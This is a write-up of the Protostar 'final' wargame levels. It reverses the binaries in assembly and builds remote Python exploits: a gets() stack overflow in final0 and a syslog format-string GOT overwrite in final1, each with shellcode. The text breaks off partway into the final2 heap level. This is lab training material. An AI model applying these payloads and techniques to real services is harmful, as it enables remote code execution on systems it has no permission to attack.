THE

SPRAWL

  •  
  •  
  •  
  • Exploit Exercises - Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. The final portion of the wargame combines Stack, Format String, Heap, and Network exploitation techniques into three excellent challenges to help solidify knowledge gained from previous exercises.

    Just like in previous writeups, my goal is not to simply present you with a solution, but to share the reasoning, challenges, and failures I have encountered while solving these exercises. In order to make the learning experience as complete as possible, I have also tried to concentrate on the assembled versions of the binaries instead of the provided source code. The reasoning for this is that we are exploiting compiled binaries which often contain interesting quirks obfuscated by the source code.

    Spoiler Warning: I would highly recommend you to go over the exercises yourself and come back to this article to find possibly different solutions or in case you get stuck.

    Final0

    The first level offers a refresher on basic stack overflow vulnerabilities with an added element of network based exploitation.

    Reversing

    Let's attempt to connect and interact with the service first:

    $ nc localhost 2995
    AAAA
    No such user AAAA
    

    Looking for the error message in the main() function, it appears no such user is displayed for any username:

    0x08049874 <main+65>:   call   0x804975a <get_username>
    0x08049879 <main+70>:   mov    DWORD PTR [esp+0x1c],eax
    0x0804987d <main+74>:   mov    eax,0x8049c7b             ;  "No such user %s\n"
    0x08049882 <main+79>:   mov    edx,DWORD PTR [esp+0x1c]
    0x08049886 <main+83>:   mov    DWORD PTR [esp+0x4],edx
    0x0804988a <main+87>:   mov    DWORD PTR [esp],eax
    0x0804988d <main+90>:   call   0x8048bac <printf@plt>
    

    Let's explore what happens in the get_username() function:

    0x08049764 <get_username+10>:   mov    DWORD PTR [esp+0x8],0x200 ; buffer size (512)
    0x0804976c <get_username+18>:   mov    DWORD PTR [esp+0x4],0x0   ; value to set
    0x08049774 <get_username+26>:   lea    eax,[ebp-0x210]           ; buffer
    0x0804977a <get_username+32>:   mov    DWORD PTR [esp],eax
    0x0804977d <get_username+35>:   call   0x8048aec <memset@plt>    ; zero out the buffer
    

    The function begins by zeroing out a 512 byte buffer.

    0x08049782 <get_username+40>:   lea    eax,[ebp-0x210]           ; buffer
    0x08049788 <get_username+46>:   mov    DWORD PTR [esp],eax
    0x0804978b <get_username+49>:   call   0x8048aac <gets@plt>      ; get user input
    

    The buffer itself is populated with a user input. The use of gets() function to populate the stack buffer above indicates a classic buffer overflow vulnerability. However, there are some additional manipulations done to the copied buffer that we must account for:

    0x08049790 <get_username+54>:   mov    DWORD PTR [esp+0x4],0xa   ; search byte 0x0a
    0x08049798 <get_username+62>:   lea    eax,[ebp-0x210]           ; *buffer
    0x0804979e <get_username+68>:   mov    DWORD PTR [esp],eax
    0x080497a1 <get_username+71>:   call   0x8048a9c <strchr@plt>    ; find 0xa
    0x080497a6 <get_username+76>:   mov    DWORD PTR [ebp-0x10],eax  ; found offset 
    0x080497a9 <get_username+79>:   cmp    DWORD PTR [ebp-0x10],0x0  ; compare to null
    0x080497ad <get_username+83>:   je     0x80497b5 <get_username+91> ; if not found
    0x080497af <get_username+85>:   mov    eax,DWORD PTR [ebp-0x10]  ; load offset
    0x080497b2 <get_username+88>:   mov    BYTE PTR [eax],0x0        ; zero it out
    

    The above block is repeated for 0xa and 0xd characters where the first instance of these bytes is located using strchr() and filled with a zero byte.

    0x080497da <get_username+128>:  mov    DWORD PTR [ebp-0xc],0x0   ; i = 0
    0x080497e1 <get_username+135>:  jmp    0x8049807 <get_username+173> ; loop
    0x080497e3 <get_username+137>:  mov    ebx,DWORD PTR [ebp-0xc]   ; i
    0x080497e6 <get_username+140>:  mov    eax,DWORD PTR [ebp-0xc]   ; i 
    0x080497e9 <get_username+143>:  movzx  eax,BYTE PTR [ebp+eax*1-0x210] ; *buffer+i
    0x080497f1 <get_username+151>:  movsx  eax,al                    ; byte to dword
    0x080497f4 <get_username+154>:  mov    DWORD PTR [esp],eax
    0x080497f7 <get_username+157>:  call   0x8048adc <toupper@plt>   ; uppercase it
    0x080497fc <get_username+162>:  mov    BYTE PTR [ebp+ebx*1-0x210],al ; store the 
                                                ; uppercased byte back in the buffer
    0x08049803 <get_username+169>:  add    DWORD PTR [ebp-0xc],0x1   ; i++
    0x08049807 <get_username+173>:  mov    ebx,DWORD PTR [ebp-0xc]   ; i
    0x0804980a <get_username+176>:  lea    eax,[ebp-0x210]           ; *buffer
    0x08049810 <get_username+182>:  mov    DWORD PTR [esp],eax
    0x08049813 <get_username+185>:  call   0x8048b8c <strlen@plt>    ; buffer length
    0x08049818 <get_username+190>:  cmp    ebx,eax                   ; compare with i
    0x0804981a <get_username+192>:  jb     0x80497e3 <get_username+137> ; loop if below
    

    An additional loop is implemented which uppercases the buffer in-place.

    0x0804981c <get_username+194>:  lea    eax,[ebp-0x210]           ; *buffer
    0x08049822 <get_username+200>:  mov    DWORD PTR [esp],eax
    0x08049825 <get_username+203>:  call   0x8048c7c <strdup@plt>    ; duplicate buffer on the heap
    

    At last the buffer is copied to the heap and the return pointer is used as a return value for the main().

    Vulnerability

    As noted in the comments above, a stack buffer is populated using the vulnerable gets() function which results in the classic buffer overflow vulnerability:

    0x08049782 <get_username+40>:   lea    eax,[ebp-0x210]           ; buffer
    0x08049788 <get_username+46>:   mov    DWORD PTR [esp],eax
    0x0804978b <get_username+49>:   call   0x8048aac <gets@plt>      ; get user input
    

    Exploitation

    The exploitation strategy must account for several buffer mangling operations:

    • 0xa and 0xd characters are replaced by null bytes.
    • The input buffer is upper-cased.

    However, it is possible to bypass the above rules and use arbitrary shellcode due to the following limitations:

    • gets() is terminated by the 0xa character or EOF, allowing the presence of null bytes and 0xd in the middle.
    • Only the first instances of 0xa and 0xd characters are zeroed out.
    • The uppercasing loop uses strlen() to locate the end of the buffer based on the terminating null byte.

    Thus, if we were to place the 0xd or 0x0 bytes somewhere before the beginning of the shellcode, we would effectively terminate the upper-case loop at that point. However, since 0xa is used to terminate gets() input we are stuck with having this byte at the very end and must not use it anywhere else in the payload.

    Let's craft a sample buffer in order to test out the above tricks:

    #!/usr/bin/env python
    import sys, socket
    from struct import pack, unpack
    from binascii import hexlify
    
    HOST = sys.argv[1]
    PORT = 2995
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    
    packet = "iphelix\x0d" + "a"*500 + "\x0a"
    print hexlify(packet)      # print packet in hex
    
    s.sendall(packet)
    
    data = s.recv(1024)
    print "%s" % data          # print the confirmation
    
    s.close()
    

    Looking in the debugger we can observe the desired result:

    $ ps aux | grep final0
    root      8751  0.0  0.0   1532   276 ?        Ss   12:33   0:00 ./final0
    $ sudo gdb ./final0 -p 8751
    (gdb) set follow-fork-mode child
    (gdb) set detach-on-fork off
    (gdb) break *get_username+203
    Breakpoint 1 at 0x8049825: file final0/final0.c, line 33.
    (gdb) c
    Continuing.
    [New process 8823]
    [Switching to process 8823]
    
    Breakpoint 1, 0x08049825 in get_username () at final0/final0.c:33
    (gdb) x/s $ebp-0x210
    0xbffff5a8:      "IPHELIX"
    (gdb) x/20x $ebp-0x210
    0xbffff5a8:     0x45485049      0x0058494c      0x61616161      0x61616161
    0xbffff5b8:     0x61616161      0x61616161      0x61616161      0x61616161
    0xbffff5c8:     0x61616161      0x61616161      0x61616161      0x61616161
    0xbffff5d8:     0x61616161      0x61616161      0x61616161      0x61616161
    0xbffff5e8:     0x61616161      0x61616161      0x61616161      0x61616161
    (gdb) x/s 0xbffff5b0
    0xbffff5b0:      'a' <repeats 200 times>...
    

    Just as expected the 0xd character after the string iphelix was replaced by the null byte effectively terminating the uppercase loop at that point. As a result, the username was uppercased; however, all bytes after the null-byte remained unchanged. Thus the beginning of the shellcode can be set at 0xbffff5b0.

    Regarding the overflown buffer, it is located at [ebp-0x210] offset or 528 bytes from EBP. So the return address is located 532 bytes from the beginning of the buffer. We can craft the payload to overwrite the return address as follows:

    "iphelix\x0d" + "\xcc"*524 + "\xb0\xf5\xff\xbf" + "\x0a"
    

    Looking in the debugger we get the desired effect:

    (gdb) c
    Continuing.
    [New process 8872]
    [Switching to process 8872]
    
    Breakpoint 1, 0x08049825 in get_username () at final0/final0.c:33
    (gdb) x/2x $ebp
    0xbffff7b8:     0xcccccccc      0xbffff5b0
    (gdb) c
    Continuing.
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0xbffff5b1 in ?? ()
    

    Great! All that is left now is to substitute the real shellcode and enjoy the show:

    #!/usr/bin/env python
    import sys, socket
    from struct import pack, unpack
    from binascii import hexlify
    
    HOST = sys.argv[1]
    PORT = 2995
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    
    shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
    
    packet = "iphelix\x0d" + shellcode + "\xcc"*(524 -  len(shellcode)) + "\xb0\xf5\xff\xbf" + "\x0a"
    #print hexlify(packet)      # print packet in hex
    
    s.sendall(packet)
    
    data = s.recv(1024)
    print "%s" % data          # print the confirmation
    
    s.close()
    

    Output:

    Owned!!!
    

    NOTE: You must take care that your shellcode does not have the 0xa (newline) byte, otherwise the gets() will stop reading the buffer at that character. Furthermore, without the null terminator trick you must use a shellcode not corrupted by the uppercase conversion (no bytes corresponding to lowercase ascii characters a-z).

    Final1

    The next level combines format string vulnerabilities with remote exploitation.

    Reversing

    First let's observe the service by connecting to it remotely:

    $ nc localhost 2994
    [final1] $ username iphelix
    [final1] $ login password
    login failed
    

    Once again, the login failed message is returned for any login/password combination. Let's explore the inner workings of the challenge to find out why.

    The first function called after the new connection is established is getipport(), which, as the function name describes, obtains client's address and source port number and stores them in the global variable hostname using the address:port format:

    0x08049a38 <getipport+7>:       mov    DWORD PTR [ebp-0xc],0x10   ; len = 16
    0x08049a3f <getipport+14>:      lea    edx,[ebp-0xc]              ; *len
    0x08049a42 <getipport+17>:      lea    ecx,[ebp-0x1c]             ; sockaddr_in
    0x08049a45 <getipport+20>:      mov    eax,0x0
    0x08049a4a <getipport+25>:      mov    eax,ecx
    0x08049a4c <getipport+27>:      mov    DWORD PTR [esp+0x8],edx    ; *len
    0x08049a50 <getipport+31>:      mov    DWORD PTR [esp+0x4],eax    ; sockaddr_in
    0x08049a54 <getipport+35>:      mov    DWORD PTR [esp],0x0        ; socket
    0x08049a5b <getipport+42>:      call   0x8048dbc <getpeername@plt>; peer address
    0x08049a60 <getipport+47>:      cmp    eax,0xffffffff             ; check result
    0x08049a63 <getipport+50>:      jne    0x8049a79 <getipport+72>   ; jump if !=-1
      :
    0x08049a79 <getipport+72>:      movzx  eax,WORD PTR [ebp-0x1a]    ; port
    0x08049a7d <getipport+76>:      movzx  eax,ax
    0x08049a80 <getipport+79>:      mov    DWORD PTR [esp],eax
    0x08049a83 <getipport+82>:      call   0x8048c8c <ntohs@plt>      ; host order
    0x08049a88 <getipport+87>:      movzx  ebx,ax
    ;------------------------------------------------------------------------------
    0x08049a8b <getipport+90>:      mov    eax,DWORD PTR [ebp-0x18]   ; address
    0x08049a8e <getipport+93>:      mov    DWORD PTR [esp],eax
    0x08049a91 <getipport+96>:      call   0x8048b5c <inet_ntoa@plt>  ; addr to string
    ;------------------------------------------------------------------------------
    0x08049a96 <getipport+101>:     mov    edx,0x8049f59              ; "%s:%d"
    0x08049a9b <getipport+106>:     mov    DWORD PTR [esp+0xc],ebx    ; port
    0x08049a9f <getipport+110>:     mov    DWORD PTR [esp+0x8],eax    ; address
    0x08049aa3 <getipport+114>:     mov    DWORD PTR [esp+0x4],edx    ; fmt strings
    0x08049aa7 <getipport+118>:     mov    DWORD PTR [esp],0x804a2a0  ; hostname
    0x08049aae <getipport+125>:     call   0x8048aec <sprintf@plt>    ; write to var
    

    After obtaining the above client information, the program calls the input handling function parser():

    0x08049946 <parser+9>:   mov    eax,0x8049f0e           ; "[final1] $ "
    0x0804994b <parser+14>:  mov    DWORD PTR [esp],eax
    0x0804994e <parser+17>:  call   0x8048ccc <printf@plt>  ; print prompt
    

    The function begins by displaying the [final1]$ command prompt to the user.

    0x08049953 <parser+22>:  jmp    0x8049a08 <parser+203>   ; loop
      :
    0x08049a08 <parser+203>: mov    eax,ds:0x804a1e8         ; stdin
    0x08049a0d <parser+208>: mov    DWORD PTR [esp+0x8],eax  ;
    0x08049a11 <parser+212>: mov    DWORD PTR [esp+0x4],0x7f ; 127 bytes
    0x08049a19 <parser+220>: lea    eax,[ebp-0x88]           ; line
    0x08049a1f <parser+226>: mov    DWORD PTR [esp],eax
    0x08049a22 <parser+229>: call   0x8048bdc <fgets@plt>    ; read line
    0x08049a27 <parser+234>: test   eax,eax                  ; test ret value
    0x08049a29 <parser+236>: jne    0x8049958 <parser+27>    ; loop if not zero
    

    Next, we enter a loop that tries to read 127 bytes at a time until an empty line is received.

    0x08049958 <parser+27>:  lea    eax,[ebp-0x88]          ; line      
    0x0804995e <parser+33>:  mov    DWORD PTR [esp],eax
    0x08049961 <parser+36>:  call   0x80498f1 <trim>        ; call trim
    

    The internal trim() function is called with the retrieved line as a parameter. Let's take a quick detour and figure out what it does:

    0x080498f7 <trim+6>:    mov    DWORD PTR [esp+0x4],0xd  ; 0xd byte
    0x080498ff <trim+14>:   mov    eax,DWORD PTR [ebp+0x8]  ; line
    0x08049902 <trim+17>:   mov    DWORD PTR [esp],eax
    0x08049905 <trim+20>:   call   0x8048bac <strchr@plt>   ; find offset
    0x0804990a <trim+25>:   mov    DWORD PTR [ebp-0xc],eax  ; store offset
    0x0804990d <trim+28>:   cmp    DWORD PTR [ebp-0xc],0x0  ; compare offset to nullptr
    0x08049911 <trim+32>:   je     0x8049919 <trim+40>      ; jump if not found
    0x08049913 <trim+34>:   mov    eax,DWORD PTR [ebp-0xc]  ; offset
    0x08049916 <trim+37>:   mov    BYTE PTR [eax],0x0       ; write null byte
    

    The same operation repeats to replace the 0xa byte. This routine should be familiar from the previous challenge where the first instances of 0xd and 0xa bytes were replaced by a null byte. We can now get back to the parser:

    0x08049966 <parser+41>:  mov    DWORD PTR [esp+0x8],0x9 ; n
    0x0804996e <parser+49>:  mov    DWORD PTR [esp+0x4],0x8049f1a ; "username "
    0x08049976 <parser+57>:  lea    eax,[ebp-0x88]          ; line
    0x0804997c <parser+63>:  mov    DWORD PTR [esp],eax
    0x0804997f <parser+66>:  call   0x8048d9c <strncmp@plt> ; compare strings
    0x08049984 <parser+71>:  test   eax,eax                 ; test return value
    0x08049986 <parser+73>:  jne    0x80499a3 <parser+102>  ; jump if not equal
    0x08049988 <parser+75>:  lea    eax,[ebp-0x88]          ; line
    0x0804998e <parser+81>:  add    eax,0x9                 ; line + 9 (offset)
    0x08049991 <parser+84>:  mov    DWORD PTR [esp+0x4],eax
    0x08049995 <parser+88>:  mov    DWORD PTR [esp],0x804a220 ; username
    0x0804999c <parser+95>:  call   0x8048cbc <strcpy@plt>  ; copy string
    0x080499a1 <parser+100>: jmp    0x80499fb <parser+190>
    

    First 9 characters of the user input are compared against the string "username ". If the two match, then a null terminated string corresponding to the actual username is copied to the global variable username.

    0x080499a3 <parser+102>: mov    DWORD PTR [esp+0x8],0x6 ; n
    0x080499ab <parser+110>: mov    DWORD PTR [esp+0x4],0x8049f24 ; "login "
    0x080499b3 <parser+118>: lea    eax,[ebp-0x88]          ; line
    0x080499b9 <parser+124>: mov    DWORD PTR [esp],eax
    0x080499bc <parser+127>: call   0x8048d9c <strncmp@plt> ; compare string
    0x080499c1 <parser+132>: test   eax,eax                 ; test return value
    0x080499c3 <parser+134>: jne    0x80499fb <parser+190>  ; jump if not equal
    0x080499c5 <parser+136>: movzx  eax,BYTE PTR ds:0x804a220 ; username[0]
    0x080499cc <parser+143>: test   al,al                   ; test the first byte
    0x080499ce <parser+145>: jne    0x80499de <parser+161>  ; jump if it's NOT null
    

    The above assembly block does a similar string comparison to "login ". If the two match, then a the first byte of the username is compared to zero.

    0x080499de <parser+161>: lea    eax,[ebp-0x88]          ; line
    0x080499e4 <parser+167>: add    eax,0x6                 ; line + 6 (offset)
    0x080499e7 <parser+170>: mov    DWORD PTR [esp],eax
    0x080499ea <parser+173>: call   0x804989a <logit>       ; call loggit()
    0x080499ef <parser+178>: mov    DWORD PTR [esp],0x8049f3c ; "login failed"
    0x080499f6 <parser+185>: call   0x8048d4c <puts@plt>    ; print string
    

    After making sure the first byte of the username is NOT zero, a call is made to the function logit() with a pointer to line at offset 6 (null terminated string that follows the "login " header). The above logic tries to verify that the username variable was indeed populated before allowing a user to send a password string with the login command. Finally a string login failed is printed to the user.

    Let's analyze the logit() function:

    0x080498a3 <logit+9>:   mov    eax,0x8049ee4                  ; format string:
                                     ;"Login from %s as [%s] with password [%s]\n"
    0x080498a8 <logit+14>:  mov    edx,DWORD PTR [ebp+0x8]
    0x080498ab <logit+17>:  mov    DWORD PTR [esp+0x14],edx       ; password
    0x080498af <logit+21>:  mov    DWORD PTR [esp+0x10],0x804a220 ; username
    0x080498b7 <logit+29>:  mov    DWORD PTR [esp+0xc],0x804a2a0  ; hostname
    0x080498bf <logit+37>:  mov    DWORD PTR [esp+0x8],eax        ; format string
    0x080498c3 <logit+41>:  mov    DWORD PTR [esp+0x4],0x200      ; 512 bytes
    0x080498cb <logit+49>:  lea    eax,[ebp-0x208]
    0x080498d1 <logit+55>:  mov    DWORD PTR [esp],eax            ; buf
    0x080498d4 <logit+58>:  call   0x8048dac <snprintf@plt>       ; write to buf
    

    The current values for hostname, username, and password are used to populate a format string and store the result in a 512 byte buffer. The buffer is used as a payload to call the syslog() function.

    0x080498d9 <logit+63>:  lea    eax,[ebp-0x208]
    0x080498df <logit+69>:  mov    DWORD PTR [esp+0x4],eax        ; buf
    0x080498e3 <logit+73>:  mov    DWORD PTR [esp],0xf            ; LOG_USER|LOG_DEBUG
    0x080498ea <logit+80>:  call   0x8048b6c <syslog@plt>         ; call syslog
    

    Vulnerability

    Looking over all of the moving pieces in the application the vulnerability is not obvious. All of the buffers are properly checked and sufficient space is allocated to handle all user inputs. Regarding the format string vulnerability, the application uses the printf-type functions correctly: all of the user controlled buffers are used strictly as parameters to a format string and not on their own.

    The only thing that caught my attention was the syslog() call at the very end of the logit() function. The parameter to the function is built using a correctly used snprintf() function with the format string "Login from %s as [%s] with password [%s]\n". However, if any of the user controlled variables have format specifier characters as their values they would be passed to the syslog() function unimpeded. If the syslog() function parses such characters at any point during its execution, then we could exploit it. Let's test out the theory with the following sample session:

    $ nc localhost 2994
    [final1] $ username %x%x%x%x
    [final1] $ login %x%x%x%x
    login failed
    

    Now let's look at the /var/log/user.log used by the syslog() call for the debug logging:

    final1: Login from 127.0.0.1:46102 as [8049ee4804a2a0804a220bffffbd6] with 
    password [b7fd7ff4bffffa2869676f4c7266206e]
    

    Gotcha! Those values in-place of username and password look like DWORDS from the stack. The format specifiers were probably interpreted somewhere within the syslog() function.

    Let's try to actually write to a random memory on the stack and observe the crash:

    # gdb ./final1 /tmp/core.11.final1.1622
    Core was generated by `/opt/protostar/bin/final1'.
    Program terminated with signal 11, Segmentation fault.
    #0  0xb7ed7a59 in _IO_vfprintf_internal (s=0x804b008, format=0x804a220 "AAAA",
        ap=0xbffffbd6 "BBBB%n") at vfprintf.c:1613
    1613    vfprintf.c: No such file or directory.
            in vfprintf.c
    (gdb) bt
    #0  0xb7ed7a59 in _IO_vfprintf_internal (s=0x804b008, format=0x804a220 "AAAA",
        ap=0xbffffbd6 "BBBB%n") at vfprintf.c:1613
    #1  0xb7f5eb26 in *__GI___vsyslog_chk (pri=15, flag=-1,
        fmt=0xbffff9b0 "Login from 192.168.212.151:54738 as [AAAA] with password [BBBB%n]\n",
        ap=0xbffff998 "\344\236\004\b\240\242\004\b \242\004\b\326\373\377\277\364\177\375\267(\372\377\277Login from 192.168.212.151:54738 as [AAAA] with password [BBBB%n]\n")
        at ../misc/syslog.c:222
    #2  0xb7f5eca7 in __syslog (pri=15,
        fmt=0xbffff9b0 "Login from 192.168.212.151:54738 as [AAAA] with password [BBBB%n]\n")
        at ../misc/syslog.c:119
    #3  0x080498ef in logit (pw=0xbffffbd6 "BBBB%n") at final1/final1.c:19
    #4  0x080499ef in parser () at final1/final1.c:46
    #5  0x08049b04 in main (argc=1, argv=0xbffffd34, envp=0xbffffd3c) at final1/final1.c:82
    

    According to the above backtrace the crash was generated as a result of calling the vfprintf() function from within the syslog(). This confirms that the vulnerability was indeed caused by the syslog() function used by the application.

    Exploitation

    Following the standard format string exploitation process, the first step is to find out how far down the stack we must go in order to reach the user input. I have crafted the following proof-of-concept script for the purpose:

    #!/usr/bin/env python
    import sys, socket
    from struct import pack, unpack
    from binascii import hexlify
    
    HOST = sys.argv[1]
    PORT = 2994
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    
    # Get the prompt
    data = s.recv(1024)
    
    # Send the username
    username = "A"*(127-10)
    s.sendall("username %s\x0a" % username)
    
    data = s.recv(1024)
    
    # Send the login
    login = "BBBB" + ".".join(["%(i)d:%%%(i)d$x" % {'i':i} for i in range(45,60)])
    s.sendall("login %s\x0a" % login)
    
    data = s.recv(1024)
    print "%s" % data          # print the confirmation
    
    s.close()
    

    There are several considerations in the above script. The field username is used to store 117 bytes of As in order to keep the offsets correct once the variable is populated with a shellcode. The global variable username is preferred to the local variable password, because as a global variable it has a known compile time address - 0x804a220 - making the exploit more reliable. The field password is used for the actual format string exploit.

    Below is the entry in the /var/log/user.log corresponding to the above payload:

    final1: Login from 192.168.212.151:54827 as [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAA] with password [BBBB45:205d4141.46:68746977.47:73617020.48:726f7773.
    49:425b2064.50:34424242...
       |                  |
       +--- user input ---+
    

    While not perfectly aligned, we can locate the input message by popping 49 DWORDs from the stack or 50 DWORDs with one junk byte as follows:

    # Send the login
    login = "CBBBB" + "%50$x"
    s.sendall("login %s\x0a" % login)
    

    The syslog output for the above input:

    final1: Login from 192.168.212.151:54622 as [AAAA4141415b] with password [BBBB]
    

    We can go around the DWORD alignment issue by prefixing three junk bytes and popping off one more DWORD as follows:

    # Send the username
    username = "CCCAAAA" + "%17$x"
    s.sendall("username %s\x0a" % username)
    

    Again, the syslog output for the above:

    final1: Login from 192.168.212.151:54842 as [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAA] with password [CBBBB42424242]
                              --------
                                     |
    user input retrieved with %x ----+
    

    At this point we need to figure out an address to overwrite and the value to overwrite it with. The latter is already known: it's the address of the global variable username at 0x0804a194. A possible target address to overwrite is the GOT entry for the puts() call that follows the call to loggit():

    $ objdump -R final1 | grep puts
    0804a194 R_386_JUMP_SLOT   puts
    

    So the goal is to overwrite the puts() GOT entry at 0x0804a194 with the address of the username global variable at 0x804a220. Let's craft a format string using the two-byte write technique:

    # Send the login
    login = "C" + "\x94\xa1\x04\x08"+"\x96\xa1\x04\x08"+"%50$n%51$n"
    s.sendall("login %s\x0a" % login)
    

    Now let's get a baseline reading on the number of bytes written with the above two writes:

    $ ps aux | grep final1
    root      1675  0.0  0.0   1532   276 ?        Ss   Mar27   0:00 /opt/protostar/bin/final1
    $ sudo gdb ./final1 -p 1675
    (gdb) set set follow-fork-mode child
    (gdb)  set detach-on-fork off
    (gdb) break *parser+185      <-- puts() call after logit()
    Breakpoint 1 at 0x80499f6: file final1/final1.c, line 47.
    (gdb) c
    Continuing.
    [New process 16414]
    [Switching to process 16414]
    
    Breakpoint 1, 0x080499f6 in parser () at final1/final1.c:47
    (gdb) x/x 0x804a194
    0x804a194 <_GLOBAL_OFFSET_TABLE_+168>:  0x00b400b4
                                                --  --
                                               /      \
                                             180      180
                                           (write2) (write1)
    

    Using the above two values as baseline offsets we can write the two least significant bytes from 0x804a220 by using the calculation 0xa220 - 0xb4 = 0xA16C (41324):

    # Send the login
    login = "C" + "\x94\xa1\x04\x08"+"\x96\xa1\x04\x08"+"%41324x%50$n%51$n"
    s.sendall("login %s\x0a" % login)
    

    Let's confirm the value in the debugger:

    (gdb) c
    Continuing.
    [New process 16435]
    [Switching to process 16435]
    
    Breakpoint 1, 0x080499f6 in parser () at final1/final1.c:47
    47      final1/final1.c: No such file or directory.
            in final1/final1.c
    (gdb) x/x 0x804a194
    0x804a194 <_GLOBAL_OFFSET_TABLE_+168>:  0xa220a220
    

    Perfect we can now write the two most significant bytes of the address by calculating 0x10804 - 0xa220 = 0x65E4 (26084):

    # Send the login
    login = "C" + "\x94\xa1\x04\x08"+"\x96\xa1\x04\x08"+"%41324x%50$n"+"%26084x%51$n"
    s.sendall("login %s\x0a" % login)
    

    Again let's confirm in the debugger:

    (gdb) c
    Continuing.
    [New process 16451]
    [Switching to process 16451]
    
    Breakpoint 1, 0x080499f6 in parser () at final1/final1.c:47
    47      final1/final1.c: No such file or directory.
            in final1/final1.c
    (gdb) x/x 0x804a194
    0x804a194 <_GLOBAL_OFFSET_TABLE_+168>:  0x0804a220
    (gdb) x/4i 0x0804a220
    0x804a220 <username>:   int3
    0x804a221 <username+1>: int3
    0x804a222 <username+2>: int3
    0x804a223 <username+3>: int3
    (gdb) c
    Continuing.
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x0804a221 in username ()
    

    Great! We have successfully overwritten the GOT entry for puts() with the address of shellcode. We can now finalize the exploit with a real shellcode:

    #!/usr/bin/env python
    import sys, socket
    from struct import pack, unpack
    from binascii import hexlify
    
    HOST = sys.argv[1]
    PORT = 2994
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    
    # Get the prompt
    data = s.recv(1024)
    
    # Send the username
    shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
    username = shellcode + "\xcc"*(127-10-len(shellcode))
    s.sendall("username %s\x0a" % username)
    data = s.recv(1024)
    
    # Send the login
    login = "C" + "\x94\xa1\x04\x08"+"\x96\xa1\x04\x08"+"%41324x%50$n"+"%26084x%51$n"
    s.sendall("login %s\x0a" % login)
    data = s.recv(1024)
    
    data = s.recv(1024)
    print "%s" % data          # print the confirmation
    
    s.close()
    

    Running the above script on the server returns the following string:

    Owned!!!
    

    Final2

    The last exercise in the series challenges players to exploit a heap overflow vulnerability over the network.

    Reversing

    As always start by connecting to the service and attempt to interact with it:

    $ nc localhost 2993
    AAAA
    Process OK
    

    Nothing particularly revealing. Let's figure out the protocol used to interact with the application by reverse engineering the get_requests() function.

    The function begins with a loop that runs up to 255 times:

    0x0804bd50 <get_requests+9>:   mov    DWORD PTR [ebp-0x10],0x0     ; i = 0
    0x0804bd57 <get_requests+16>:  cmp    DWORD PTR [ebp-0x10],0xfe    ; compare to 254
    0x0804bd5e <get_requests+23>:  jg     0x804bddb <get_requests+148> ; jump if greater
      :
    0x0804bd84 <get_requests+61>:  add    DWORD PTR [ebp-0x10],0x1     ; i++
      :
    0x0804bdd6 <get_requests+143>: jmp    0x804bd57 <get_requests+16>  ; loop
    

    The body of the loop consists of several operations:

    0x0804bd60 <get_requests+25>:  mov    DWORD PTR [esp+0x4],0x1      ; 1 byte element
    0x0804bd68 <get_requests+33>:  mov    DWORD PTR [esp],0x80         ; 128 elements
    0x0804bd6f <get_requests+40>:  call   0x804b4ee <calloc>           ; get heap ptr
    0x0804bd74 <get_requests+45>:  mov    DWORD PTR [ebp-0x14],eax     ; store pointer
    0x0804bd77 <get_requests+48>:  mov    eax,DWORD PTR [ebp-0x10]     ; i
    0x0804bd7a <get_requests+51>:  mov    edx,DWORD PTR [ebp-0x14]     ; buf
    0x0804bd7d <get_requests+54>:  mov    DWORD PTR [ebp+eax*4-0x414],edx ; store the
                                ; pointer in destroylist[i] <-- missing in the source
    

    First a 128 byte chunk is allocated on the heap.

    0x0804bd88 <get_requests+65>:  mov    DWORD PTR [esp+0x8],0x80     ; 128
    0x0804bd90 <get_requests+73>:  mov    eax,DWORD PTR [ebp-0x14]     ; buf
    0x0804bd93 <get_requests+76>:  mov    DWORD PTR [esp+0x4],eax
    0x0804bd97 <get_requests+80>:  mov    eax,DWORD PTR [ebp+0x8]
    0x0804bd9a <get_requests+83>:  mov    DWORD PTR [esp],eax          ; fd
    0x0804bd9d <get_requests+86>:  call   0x8048e5c <read@plt>         ; read 128 bytes
    0x0804bda2 <get_requests+91>:  cmp    eax,0x80                     ; compare actual 
                                                                       ;  # bytes read
    0x0804bda7 <get_requests+96>:  jne    0x804bdde <get_requests+151> ; jump not 128
    

    Next, exactly 128 bytes are read from the network into the heap chunk. A separate check is performed to make sure that exactly 128 bytes were actually read from the network.

    0x0804bda9 <get_requests+98>:   mov    DWORD PTR [esp+0x8],0x4     ; 4 bytes
    0x0804bdb1 <get_requests+106>:  mov    DWORD PTR [esp+0x4],0x804c2d1 ; "FSRD"
    0x0804bdb9 <get_requests+114>:  mov    eax,DWORD PTR [ebp-0x14]    ; buf
    0x0804bdbc <get_requests+117>:  mov    DWORD PTR [esp],eax
    0x0804bdbf <get_requests+120>:  call   0x8048fdc <strncmp@plt>   ; compare first 4 
                                                                     ; bytes of the buf
                                                                     ; to "FSRD"
    0x0804bdc4 <get_requests+125>:  test   eax,eax
    0x0804bdc6 <get_requests+127>:  jne    0x804bde1 <get_requests+154>; jump if not equal
    

    The first four bytes of the received buffer are checked to contain the magic key FSRD.

    0x0804bdc8 <get_requests+129>:  mov    eax,DWORD PTR [ebp-0x14]    ; buf
